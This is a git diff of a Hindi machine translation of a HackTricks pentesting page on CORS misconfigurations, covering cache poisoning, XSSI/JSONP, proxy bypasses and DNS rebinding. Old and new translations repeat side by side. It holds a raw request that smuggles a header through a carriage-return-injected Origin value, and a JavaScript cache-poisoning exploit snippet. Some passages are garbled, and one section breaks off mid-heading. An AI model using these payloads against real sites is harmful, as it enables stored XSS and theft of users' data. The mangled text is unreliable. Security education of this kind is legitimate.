@ -206,11 +199,15 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
इस सेटअप में, `requester.com` के सभी सबडोमेन की पहुंच अनुमति है। हालांकि, यदि कोई सबडोमेन, उदाहरण के लिए `sub.requester.com`, XSS वंलरेबिलिटी के साथ कंप्रोमाइज हो जाता है, तो एक हमलावर इस कमजोरी का लाभ उठा सकता है। उदाहरण के लिए, `sub.requester.com` तक पहुंच वाले एक हमलावर XSS वंलरेबिलिटी का शोषण कर सकता है और CORS नीतियों को अनदेखा करके `provider.com` पर संसारिक रूप से पहुंच प्राप्त कर सकता है।
### **सर्वर-साइड कैश पॉइज़निंग**
[**इस अनुसंधान से**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
[**इस शोध से**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
यह संयोजन में, `requester.com` के सभी सबडोमेन की पहुंच अनुमति है। हालांकि, यदि कोई सबडोमेन, मान लीजिए `sub.requester.com`, एक XSS वंलरेबिलिटी के साथ कंप्रोमाइज़ हो जाता है, तो एक हमलावर इस कमजोरी का उपयोग कर सकता है। उदाहरण के लिए, `sub.requester.com` तक पहुंच वाले एक हमलावर XSS वंलरेबिलिटी का शोषण कर सकता है ताकि CORS नीतियों को अनदेखा करके `provider.com` पर संसाधनों तक दुरुपयोग कर सके।
यह संभावना है कि HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का शोषण करके, एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) वंलरेबिलिटी उत्पन्न की जा सकती है। यह स्थिति उत्पन्न होती है जब एक एप्लिकेशन `Origin` हेडर को गैर-कानूनी वर्णों के लिए सैनिटाइज़ नहीं करता, खासकर इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक वंलरेबिलिटी उत्पन्न करता है। ये ब्राउज़र (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में देखते हैं, जिससे HTTP हेडर इंजेक्शन वंलरेबिलिटी उत्पन्न होती है।
निम्नलिखित अनुरोध को ध्यान से देखें जहाँ `Origin` हेडर को मैनिपुलेट किया गया है:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@ -221,21 +218,23 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
इस दुरुपयोगिता को सीधे उत्पीड़ित करना एक वेब ब्राउज़र को एक अशुद्ध हेडर भेजने के द्वारा संभव नहीं है, लेकिन एक तैयार किया गया अनुरोध उपकरणों जैसे बर्प सुइट का उपयोग करके मैन्युअल रूप से उत्पन्न किया जा सकता है। यह विधि एक सर्वर-साइड कैश को उत्तेजित कर सकती है जो प्रतिक्रिया को सहेज सकती है और अनजाने में इसे दूसरों को सेवा कर सकती है। तैयार किया गया पेलोड पृष्ठ के वर्ण सेट को UTF-7 में बदलने का उद्देश्य रखता है, जो किसी विशेष संदर्भ में स्क्रिप्ट के रूप में क्रियान्वित किया जा सकने वाले वर्णों को एन्कोड करने की क्षमता के कारण XSS जोखिमों से अक्सर जुड़ा जाता है।
इस दुरुपयोगिता को सीधे उत्पीड़ित करना एक वेब ब्राउज़र को एक अशुद्ध हेडर भेजने के द्वारा संभव नहीं है, लेकिन एक तैयार किया गया अनुरोध उपकरणों जैसे बर्प सुइट का उपयोग करके मैन्युअल रूप से उत्पन्न किया जा सकता है। यह विधि एक सर्वर-साइड कैश को उत्तेजित कर सकती है और उत्तर को सहजता से बचाकर दूसरों को सेवित कर सकती है। तैयार किया गया पेलोड UTF-7 पेज के वर्ण सेट को बदलने का उद्देश्य रखता है, जो किसी विशेष संदर्भ में स्क्रिप्ट के रूप में क्रियान्वित किया जा सकने वाले वर्णों को एन्कोड करने की क्षमता के कारण एक्सएसएस दुरुपयोगिताओं से अक्सर जुड़ा जाता है।
स्टोर्ड XSS जोखिमों पर अधिक पठन के लिए, [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored) देखें।
भविष्य में पढ़ने के लिए भंडारित एक्सएसएस दुरुपयोगिताओं पर, देखें [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**ध्यान दें**: HTTP हेडर उत्पीड़न जोखिमों का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता द्वारा प्रदत्त इनपुट, सहित HTTP हेडर, की मान्यता और शुद्धिकरण के महत्व को पुनः साबित करता है। हमेशा ऐसा एक मजबूत सुरक्षा मॉडल अपनाएं जिसमें इनपुट मान्यता शामिल हो ताकि ऐसी जोखिमों को रोकने के लिए।
**ध्यान दें**: HTTP हेडर उत्पीड़न दुरुपयोगिताओं का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता द्वारा प्रदत्त इनपुट, सहित HTTP हेडर्स की मान्यता और शोधन का महत्वपूर्ण होना उजागर करता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यीकरण शामिल होता है ताकि ऐसी दुरुपयोगिताओं को रोकने के लिए।
### **क्लाइंट-साइड कैश पॉइज़निंग**
[**इस अनुसंधान से**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
इस परिदृश्य में, एक वेब पृष्ठ की एक उदाहरण देखा गया है जो सही एन्कोडिंग के बिना एक कस्टम HTTP हेडर की सामग्री को प्रतिबिंबित करता है। विशेष रूप से, वेब पृष्ठ `X-User-id` हेडर में शामिल की गई सामग्री को प्रतिबिंबित करता है, जिसमें दुर्भाग्यपूर्ण जावास्क्रिप्ट शामिल हो सकता है, जैसा कि उदाहरण में दिखाया गया है जहां हेडर में एक SVG छवि टैग शामिल है जो लोड होने पर जावास्क्रिप्ट कोड को क्रियान्वित करने के लिए डिज़ाइन किया गया है।
इस परिदृश्य में, एक वेब पृष्ठ की एक उदाहरण देखा गया है जो सही एन्कोडिंग के बिना एक कस्टम HTTP हेडर की सामग्री को प्रतिबिंबित करता है। विशेष रूप से, वेब पृष्ठ `X-User-id` हेडर में शामिल की गई सामग्री को प्रतिबिंबित करता है, जिसमें दुरुपयोगी जावास्क्रिप्ट शामिल हो सकती है, जैसा कि उदाहरण में दिखाया गया है जहां हेडर में एक एसवीजी छवि टैग शामिल है जो लोड होने पर जावास्क्रिप्ट कोड को क्रियान्वित करने के लिए डिज़ाइन किया गया है।
क्रॉस-रिजिन संसाधन साझाकरण (CORS) नीतियाँ कस्टम हेडर भेजने की अनुमति देती हैं। हालांकि, CORS प्रतिबंधों के कारण ब्राउज़र द्वारा प्रतिक्रिया को सीधे प्रस्तुत किए जाने के बिना, ऐसे उत्पीड़न का उपयोग सीमित लग सकता है। महत्वपूर्ण बिंदु उत्पन्न होता है जब ब्राउज़र के कैश व्यवहार को विचार में लिया जाता है। यदि `Vary: Origin` हेडर निर्दिष्ट नहीं किया गया है, तो ब्राउज़र द्वारा दुर्भाग्यपूर्ण प्रतिक्रिया को कैश किया जा सकता है। इसके बाद, यह कैश किया गया प्रतिक्रिया सीधे प्रस्तुत की जा सकती है जब URL पर नेविगेट किया जाता है, पहले अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को छोड़ते हुए। यह तंत्र ग्राहक-साइड कैशिंग का उपयोग करके हमले की विश्वसनीयता को बढ़ाता है।
क्रॉस-रिजिन संसाधन साझाकरण (CORS) नीतियाँ कस्टम हेडर्स भेजने की अनुमति देती हैं। हालांकि, कोर्स प्रतिबंधों के कारण ब्राउज़र द्वारा उत्तर को सीधे प्रस्तुत किए जाने के बिना, ऐसे उत्पीड़न का उपयोग सीमित लग सकता है। महत्वपूर्ण बिंदु उत्पन्न होता है जब ब्राउज़र कैश व्यवहार को विचार में लिया जाता है। यदि `Vary: Origin` हेडर निर्दिष्ट नहीं किया गया है, तो ब्राउज़र द्वारा दुरुपयोगी उत्तर को कैश किया जा सकता है। इसके बाद, यह कैश किया गया उत्तर सीधे प्रस्थान करने पर सीधे प्रस्तुत किया जा सकता है, पहले अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को छोड़ते हुए। यह तंत्र ग्राहक-साइड कैशिंग का उपयोग करके हमले की विश्वसनीयता को बढ़ाता है।
इस हमले को प्रदर्शित करने के लिए, एक जावास्क्रिप्ट उदाहरण प्रस्तुत किया गया है, जो एक वेब पृष्ठ के वातावरण में क्रियान्वित किया जाने के लिए डिज़ाइन किया गया है, जैसे कि एक JSFiddle के माध्यम से। यह स्क्रिप्ट एक सरल कार्रवाई करता है: यह एक निर्दिष्ट URL पर एक अनुरोध भेजता है जिसमें दुर्भाग्यपूर्ण जावास्क्रिप्ट शामिल हेडर होता है। सफल अनुरोध पूरा होने पर, यह लक्षित URL पर नेविगेट करने का प्रयास करता है, संभावना है कि यदि प्रतिक्रिया को `Vary: Origin` हेडर का सही संभालन किए बिना कैश किया गया है, तो उपस्थित जावास्क्रिप्ट कोड का क्रियान्वित होने का कारण बन सकता है।
इस हमले को प्रदर्शित करने के लिए, जावास्क्रिप्ट उदाहरण प्रदान किया गया है, जो एक वेब पृष्ठ के वातावरण में क्रियान्वित किया जाने के लिए डिज़ाइन किया गया है, जैसे कि एक JSFiddle के माध्यम से। यह स्क्रिप्ट एक सरल क्रिया करता है: यह एक निर्दिष्ट URL पर एक अनुकूल हेडर के साथ एक अनुरूप जावास्क्रिप्ट शामिल करने वाला अनुरोध भेजता है। सफल अनुरोध पूरा होने पर, यह लक्षित URL पर नेविगेट करने का प्रयास करता है, संभावना है कि यदि उत्तर को `Vary: Origin` हेडर का सही संभालन किए बिना कैश किया गया है, तो उन्होंने डाला गया स्क्रिप्ट क्रियान्वित हो सकता है।
यहाँ इस हमले को क्रियान्वित करने के लिए उपयोग किए गए जावास्क्रिप्ट का संक्षेपित विश्लेषण है:
```html
<script>
function gotcha() { location=url }
@ -251,78 +250,76 @@ req.send();
### XSSI (क्रॉस-साइट स्क्रिप्ट इनक्लूजन) / JSONP
XSSI, जिसे क्रॉस-साइट स्क्रिप्ट इनक्लूजन के रूप में भी जाना जाता है, एक प्रकार की सुरक्षा दोष है जो इस तथ्य का लाभ उठाती है कि सेम ऑरिजिन नीति (SOP) को स्क्रिप्ट टैग का उपयोग करके संसाधनों को शामिल करते समय लागू नहीं होत है। यह इसलिए है क्योंकि स्क्रिप्टों को विभिन्न डोमेन से शामिल किया जा सकता है। यह सुरक्षा दोष एक हमलावादी को स्क्रिप्ट टैग का उपयोग करके शामिल किए गए किसी भी सामग्री तक पहुंचने और पढ़ने की अनुमति देता है
XSSI, जिसे क्रॉस-साइट स्क्रिप्ट इनक्लूजन के रूप में भी जाना जाता है, एक प्रकार की कमजोरी है जो इस तथ्य का फायदा उठाती है कि सेम ऑरिजिन नीति (SOP) को यहां स्क्रिप्ट टैग का उपयोग करके संसाधन शामिल करते समय लागू नहीं होत है। यह इसलिए है क्योंकि स्क्रिप्टों को विभिन्न डोमेन से शामिल किया जा सकता है। यह कमजोरी एक हमलावार को यह अनुमति देती है कि वह स्क्रिप्ट टैग का उपयोग करके शामिल किया गया किसी भी सामग्री तक पहुंच सके और पढ़ सके
यह सुरक्षा दोष विशेष रूप से महत्वपूर्ण हो जाता है जब यह डायनामिक जावास्क्रिप्ट या JSONP (पैडिंग के साथ जेसन) के संदर्भ में आता है, विशेषकर जब वातावरण-अधिकार सूचना जैसे कुकी का उपयोग प्रमाणीकरण के लिए किया जाता है। एक विभिन्न होस्ट से संसाधन का अनुरोध करते समय, कुकी शामिल की जाती है, जिससे उन्हें हमलावादी के लिए पहुंचने में सहायता मिलती है
यह कमजोरी विशेष रूप से महत्वपूर्ण हो जाती है जब यह डायनामिक जावास्क्रिप्ट या JSONP (पैडिंग के साथ JSON) के संदर्भ में आती है, विशेष रूप से जब आवाज-अधिकार सूचना जैसे कुकीज़ का उपयोग प्रमाणीकरण के लिए किया जाता है। एक विभिन्न होस्ट से संसाधन का अनुरोध करते समय, कुकीज़ शामिल की जाती है, जिससे वे हमलावार के लिए पहुंचने योग्य हो जाती हैं
इस सुरक्षा दोष को बेहतर समझने और कम करने के लिए, आप अपने वेब एप्लिकेशन में संभावित XSSI सुरक्षा दोषों की पहचान और संबोधन के लिए [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको अपने वेब एप्लिकेशन में संभावित XSSI सुरक्षा दोषों की पहचान और संबोधन में मदद कर सकता है।
इस कमजोरी को बेहतर समझने और उसे कम करने के लिए, आप अपने वेब एप्लिकेशन में संभावित XSSI कमजोरियों की पहचान और संबोधन के लिए [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको आपके वेब एप्लिकेशन में संभावित XSSI कमजोरियों की पहचान और संबोधन में मदद कर सकता है।
[**यहाँ विभिन्न प्रकार के XSSI और उन्हें कैसे शातिग्रहित किया जाए इसके बारे में अधिक पढ़ें।**](xssi-cross-site-script-inclusion.md)
[**यहां विभिन्न प्रकार के XSSI के बारे में और उन्हें कैसे शामिल किया जाए इसके बारे में अधिक पढ़ें।**](xssi-cross-site-script-inclusion.md)
अनुरोध में एक **`कॉलबैक`** **पैरामीटर** जोड़ने की कोशिश करें। शायद पृष्ठ JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। उस मामले में पृष्ठ डेटा को `Content-Type: application/javascript` के साथ भेजेगा जिससे CORS नीति को बायपास किया जा सकता है
अनुरोध में एक **`कॉलबैक`** **पैरामीटर** जोड़ने की कोशिश करें। शायद पृष्ठ को JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। उस मामले में पृष्ठ `Content-Type: application/javascript` के साथ डेटा वापस भेजेगा जो CORS नीति को बायपास करेगा
![](<../.gitbook/assets/image (229).png>)
![](<../.gitbook/assets/image (853).png>)
### आसान (अफ़सोसनाक?) बायपास
`Access-Control-Allow-Origin` प्रतिबंध को बायपास करने का एक तरीका एक वेब एप्लिकेशन से एक अनुरोध करने के लिए है और प्रतिसाद भेजने के लिए। हालांकि, इस स्थिति में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक विभिन्न डोमेन पर किया जाता है।
`Access-Control-Allow-Origin` प्रतिबंध को बायपास करने का एक तरीका एक वेब एप्लिकेशन से अनुरोध करना है कि वह आपके पक्ष में एक अनुरोध करें और प्रतिसाद भेजें। हालांकि, इस स्थिति में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक विभिन्न डोमेन पर किया जाता है।
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को उसके हेडर्स के साथ आगे भेजता है, जबकि असल में उपयोगकर्ता डोमेन के अनुरोध के लिए मूल्यांकन हेडर को धोखा देता है। यह CORS नीति को प्रभावी रूप से बायपास करता है। यहाँ XMLHttpRequest के साथ एक उदाहरण उपयोग दिया गया है:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): यह उपकरण अनुरोध को जैसा है उसी रूप में प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। सर्वर निर्दिष्ट पैरामीटर के साथ अपना अपना अनुरोध करता है।
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को अपने हेडर्स के साथ आगे भेजता है, जबकि अभिमान शीर्षक को अनुरोधित डोमेन से मेल खाता है। यह CORS नीति को प्रभावी ढंग से बायपास करता है। यहां XMLHttpRequest के साथ एक उदाहरण उपयोग दिया गया है:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): यह उपकरण अनुरोध को प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। आपके अनुरोध को जैसा है, उसे आगे नहीं भेजते, सर्वर अपने निर्दिष्ट पैरामीटर के साथ अपना अपना अनुरोध करता है।
### आईफ्रेम + पॉपअप बायपास
आप **एक आईफ्रेम बनाकर** और **इससे एक नया विंडो खोलकर** जैसे कार्स जांच कर सकते हैं जैसे `e.origin === window.origin`। अधिक जानकारी निम्नलिखित पृष्ठ में है:
आप **एक आईफ्रेम बनाकर** और **इससे एक नया विंडो खोलकर** जैसे `e.origin === window.origin` जैसे **CORS जांचों को बायपास** कर सकते हैं। अधिक जानकारी निम्नलिखित पृष्ठ में है:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### TTL के माध्यम से DNS रिबाइंडिंग
### TTL के माध्यम से DNS रबाइंडिंग
TTL के माध्यम से DNS रिबाइंडिंग एक तकनीक है जिसका उपयोग DNS रिकॉर्ड को मानियमान सुरक्षा उपायों को बायपास करने के लिए किया जाता है। यह कैसे काम करता है:
TTL के माध्यम से DNS रबाइंडिंग एक तकनीक है जिसका उपयोग DNS रिकॉर्ड को मानियता कुछ सुरक्षा उपायों को बायपास करने के लिए किया जाता है। यह कैसे काम करता है:
1. हमलावादी एक वेब पृष्ठ बनाता है और पीड़ित से उसे पहुंचने के लिए कहता है।
2. हमलावादी फिर अपने खुद के डोमेन का DNS (आईपी) बदलता है ताकि वह पीड़ित के वेब पृष्ठ को इंगित करे।
3. पीड़ित का ब्राउज़र DNS प्रतिक्रिया कैश करता है, जिसमें एक TTL (टाइम टू लिव) मान हो सकता है जो बताता है कि DNS रिकॉर्ड को कितनी देर तक मान्य माना जाना चाहिए।
4. जब TTL समाप्त होता है, पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावादी को पीड़ित के पृष्ठ पर जावास्क्रिप्ट कोड चलाने की अनुमति मिलती है।
5. पीड़ित के आईपी के ऊपर नियंत्रण बनाए रखकर, हमलावादी पीड़ित सर्वर को कुकीज़ भेजे बिना पीड़ित से जानकारी एकत्र कर सकता है।
1. हमलावार एक वेब पृष्ठ बनाता है और पीड़ित को इसे एक्सेस करने के लिए बनाता है।
2. फिर हमलावार अपने खुद के डोमेन का DNS (आईपी) बदलता है ताकि वह पीड़ित के वेब पृष्ठ को इंगित करे।
3. पीड़ित का ब्राउज़र DNS प्रतिसाद को कैश करता है, जिसमें एक TTL (टाइम टू लिव) मान हो सकता है जो बताता है कि DNS रिकॉर्ड को कितनी देर तक मान्य माना जाना चाहिए।
4. जब TTL समाप्त होता है, पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावा को पीड़ित के पृष्ठ पर जावास्क्रिप्ट कोड निष्पादित करने की अनुमति मिलती है।
5. पीड़ित के आईपी के ऊपर नियंत्रण बनाए रखकर, हमलावा पीड़ित सर्वर को कुकीज़ भेजे बिना पीड़ित से जानकारी एकत्र कर सकता है।
यह ध्यान देने योग्य है कि ब्राउज़रों के पास कैशिंग तंत्र हो सकते हैं जो इस तकनीक का तुरंत दुरुपयोग रोक सकते हैं, यहां भी निम्न TTL मानों के साथ।
यह महत्वपूर्ण है कि ब्राउज़रों के पास कैशिंग तंत्र हो सकते हैं जो इस तकनीक का तुरंत दुरुपयोग रोक सकते हैं, यहां भी निम्न TTL मानों के साथ।
DNS रिबाइंडिंग विभिन्न उपयोगकर्ता या बॉट एक विस्तारित अवधि के लिए एक ही पृष्ठ पर रहने के लिए या पीड़ित द्वारा किए गए स्पष्ट आईपी जांचों को बायपास करने के लिए उपयोगी हो कता है।
DNS रीबाइंडिंग विकल्पित आईपी जांचों को बायपास करने के लिए उपयोगी हो सकता है जो पीड़ित द्वारा किए गए निर्दिष्ट आईपी जांचों को बायपास करने के लिए या उन स्थितियों के लिए जहां एक उपयोगकर्ता या बॉट एक लंबे समय तक एक हपृष्ठ पर रहता है, जिससे कैश समाप्त होनेा समय होता है।
यदि आपको DNS रिबाइंडिंग का त्वरित तरीका चाहिए, तो आप [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) जैसी सेवाओं का उपयोग कर सकते हैं।
यदि आप DNS रीबाइंडिंग का दुरुपयोग करने के लिए एक त्वरित तरीका चाहते हैं, तो आप [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) जैसी सेवाओं का उपयोग कर सकते हैं।
अपनी खुद की DNS रिबाइंडिंग सर्वर चलाने के लिए, आप **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें अपने स्थानीय पोर्ट 53/udp को उजागर करना, इसके लिए एक ए रिकॉर्ड बनाना जो इसे इंगित करता है (जैसे, ns.example.com), और पहले बनाए गए ए उपडोमेन को इंगित करने वाला एनएस रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन आपके होस्ट द्वारा हल किया जाएगा।
अपनी खुद की DNS रबाइंडिंग सर्वर चलाने के लिए, आप **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें अपने स्थानीय पोर्ट 53/udp को उजागर करना, इसके लिए एक ए रिकॉर्ड बनाना (जैसे, ns.example.com), और पहले बनाए गए ए उपडोमेन को इंगित करने वाला एनएस रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन आपके होस्ट द्वारा हल किया जाएगा।
आप एक सार्वजनिक रूप से चल रहे सर्वर पर भी जांच सकते हैं [http://rebind.it/singularity.html](http://rebind.it/singularity.html) और अधिक समझने और प्रयोग करने के लिए।
आप एक खुला हुआ सर्वर भी जांच सकते हैं [http://rebind.it/singularity.html](http://rebind.it/singularity.html) और अधिक समझने और प्रयोग के लिए।
### DNS रिबाइंडिंग के माध्यम से **DNS कैश फ्लडिंग**
DNS रिबाइंडिंग के माध्यम से DNS कैश फ्लडिंग एक और तकनीक है जिसका उपयोग ब्राउज़रों के कै
### DNS रीबाइंडिंग के माध्यम से **
### अन्य सामान्य बायपास
* यदि **आंतरिक IPs की अनुमति नहीं है**, तो वे **0.0.0.0 को निषेधित करना भूल सकते हैं** (लिनक्स और मैक पर काम करता है)
* यदि **आंतरिक IPs की अनुमति नहीं है**, तो **localhost** के लिए **CNAME** के साथ प्रतिसाद दें (लिनक्स और मैक पर काम करता है)
* यदि **आंतरिक IPs की अनुमति नहीं है** जैसे DNS प्रतिसाद, तो आप **www.corporate.internal** जैसे आंतरिक सेवाओं के लिए **CNAMEs** प्रतिसाद दे सकते हैं।
* यदि **आंतरिक IPs की अनुमति नहीं है** DNS प्रतिसादों के रूप में, तो आप **www.corporate.internal** जैसे **आंतरिक सेवाओं के लिए CNAMEs** प्रतिसाद दे सकते हैं।
### DNS Rebidding Weaponized
आप पिछले बायपास तकनीकों और निम्नलिखित उपकरण का उपयोग कैसे करें के बारे में अधिक जानकारी टॉक में पा सकते हैं [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)।
आप पिछले बायपास तकनीकों और निम्नलिखित उपकरण का उपयोग कैसे करें के बारे में अधिक जानकारी इस टॉक में पा सकते हैं [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)।
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) एक उपकरण है जो [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) हमलों को करने के लिए है। यह हमले करने वाले सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर पुनः बाइंड करने और लक्षित मशीन पर सॉफ़्टवेयर को उत्पीड़ित करने के लिए हमले के पेयलोड सेवित करने के आवश्यक घटक शामिल करता है।
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) एक उपकरण है जो [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) हमलों को करने के लिए है। यह हमले करने वाले सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर पुनः बाइंड करने और लक्षित मशीन पर सॉफ़्टवेयर को उत्कृष्ट करने के लिए हमले के पेयलोड सेव करने के आवश्यक घटक शामिल करता है।
### DNS Rebinding के विरुद्ध वास्तविक सुरक्षा
* आंतरिक सेवाओं में TLS का उपयोग करें
* डेटा तक पहुंचने के लिए अनुरोध प्रमाणीकरण करें
* डेटा तक पहुंचने के लिए प्रमाणीकरण का अनुरोध करें
* होस्ट हेडर को मान्यता दें
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): प्रस्ताव जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुंचना चाहते हैं तो हमेशा एक पूर्व-उड़ान अनुरोध भेजने के लिए
## **उपकरण**
**CORS नीतियों में संभावित गलतियों को फज़ करें**
**CORS नीतियों में संभावित गलतियों को ढूंढें**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
@ -342,3 +339,22 @@ DNS रिबाइंडिंग के माध्यम से DNS कै
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
</details>

View file

@ -2,37 +2,71 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें** PRs को सबमिट करके [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud)
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
